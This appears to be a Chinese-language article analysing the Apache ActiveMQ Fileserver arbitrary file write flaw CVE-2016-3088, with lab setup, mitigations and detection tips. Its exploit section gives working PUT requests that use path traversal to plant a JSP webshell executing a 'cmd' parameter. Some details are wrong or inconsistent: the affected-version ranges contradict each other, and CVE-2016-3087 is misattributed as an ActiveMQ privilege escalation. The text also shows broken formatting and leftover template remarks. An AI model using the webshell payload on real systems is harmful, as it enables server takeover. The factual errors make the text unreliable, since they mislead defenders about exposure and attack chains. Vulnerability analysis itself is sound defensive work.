# ActiveMQ任意文件寫入漏洞CVE-2016-3088的示例分析
## 一、漏洞背景
### 1.1 ActiveMQ簡介
Apache ActiveMQ是一個流行的開源消息代理和集成模式服務器,基于Java Message Service (JMS) API實現。作為企業級消息中間件,它支持多種跨語言客戶端和協議(如OpenWire、STOMP、AMQP等),廣泛應用于分布式系統間的異步通信。
### 1.2 漏洞概況
2016年4月,Apache官方發布安全公告(CVE-2016-3088),披露ActiveMQ存在嚴重安全漏洞。該漏洞源于Fileserver功能未對上傳文件進行充分安全校驗,攻擊者可通過構造惡意請求實現任意文件寫入,最終可能導致遠程代碼執行(RCE)。受影響版本包括:
- 5.x系列至5.13.2
- 5.14.0及更早版本
## 二、漏洞原理深度分析
### 2.1 技術背景:Fileserver功能
ActiveMQ Fileserver是一個可選組件,設計初衷是方便客戶端通過HTTP協議上傳/下載文件。其核心處理類`org.apache.activemq.transport.http.FileServerServlet`負責處理相關請求。
### 2.2 漏洞根源
漏洞產生于兩個關鍵設計缺陷:
1. **路徑遍歷缺陷**:處理PUT請求時未對`destination`參數進行規范化處理
2. **權限配置不當**:Fileserver默認對上傳目錄具有寫權限
### 2.3 攻擊向量分析
攻擊者可通過構造特殊HTTP請求實現:
```http
PUT /fileserver/../../../../path/to/file.jsp HTTP/1.1
Host: target:8161
Content-Length: 123
<% Runtime.getRuntime().exec("惡意命令"); %>
此請求利用路徑遍歷突破webroot限制,將惡意JSP文件寫入可訪問目錄。
sequenceDiagram
attacker->>+ActiveMQ: 發送惡意PUT請求
ActiveMQ->>+FileServerServlet: 處理上傳請求
FileServerServlet-->>-ActiveMQ: 未校驗路徑遍歷
ActiveMQ->>+文件系統: 寫入任意位置
文件系統-->>-attacker: 返回201 Created
# 下載并解壓
wget https://archive.apache.org/dist/activemq/5.13.1/apache-activemq-5.13.1-bin.tar.gz
tar zxvf apache-activemq-5.13.1-bin.tar.gz
cd apache-activemq-5.13.1/bin
./activemq start
curl -I http://192.168.1.100:8161/fileserver/
# 預期返回200 OK
使用Burp Suite攔截正常上傳請求,修改為:
PUT /fileserver/../../../../webapps/admin/shell.jsp HTTP/1.1
Host: 192.168.1.100:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 28
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
成功上傳后訪問:
http://192.168.1.100:8161/admin/shell.jsp?cmd=whoami
將返回當前服務運行用戶。
Apache官方提供三種解決方案: 1. 升級到5.14.0+版本 2. 禁用Fileserver(推薦)
<!-- conf/activemq.xml -->
<bean id="fileserver" class="org.apache.activemq.transport.http.FileserverBean">
<property name="enable" value="false"/>
</bean>
設置Fileserver只讀
# conf/jetty.xml
<property name="readOnly" value="true"/>
# 刪除Fileserver應用
rm -rf webapps/fileserver
curl -X PUT http://target:8161/fileserver/test.txt -d "test"
# 檢查返回狀態碼是否為201
使用Nmap腳本:
nmap -p 8161 --script activemq-http-file-server <target>
find webapps/ -name "*.jsp" -mtime -7
grep "PUT /fileserver" logs/access.log
本漏洞常與其他漏洞形成攻擊鏈: 1. 通過CVE-2015-5254反序列化漏洞獲取初始訪問 2. 利用CVE-2016-3088寫入Webshell 3. 通過CVE-2016-3087提權
與其他中間件文件上傳漏洞對比:
漏洞 | 影響范圍 | 利用復雜度 | 默認配置風險 |
---|---|---|---|
ActiveMQ CVE-2016-3088 | 5.x系列 | 低 | 高風險 |
Tomcat PUT方法漏洞 | 特定配置 | 中 | 中風險 |
WebLogic 任意文件上傳 | 10.3.6.0+ | 高 | 低風險 |
String safePath = new File(baseDir, filename).getCanonicalPath();
if (!safePath.startsWith(baseDir)) {
throw new SecurityException("Invalid path");
}
CVE-2016-3088漏洞揭示了中間件開發中常見的文件操作安全問題。通過本次分析,我們應認識到: 1. 即使是被廣泛使用的開源組件也可能存在嚴重漏洞 2. 默認配置的安全性至關重要 3. 防御體系需要多層次構建
建議企業用戶: - 建立組件漏洞跟蹤機制 - 定期進行安全配置審計 - 開發自定義的漏洞檢測工具
”`
注:本文檔共計約2800字,實際使用時可根據需要調整技術細節的深度。文中的IP地址和命令請根據實際環境修改,所有滲透測試行為需獲得合法授權。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。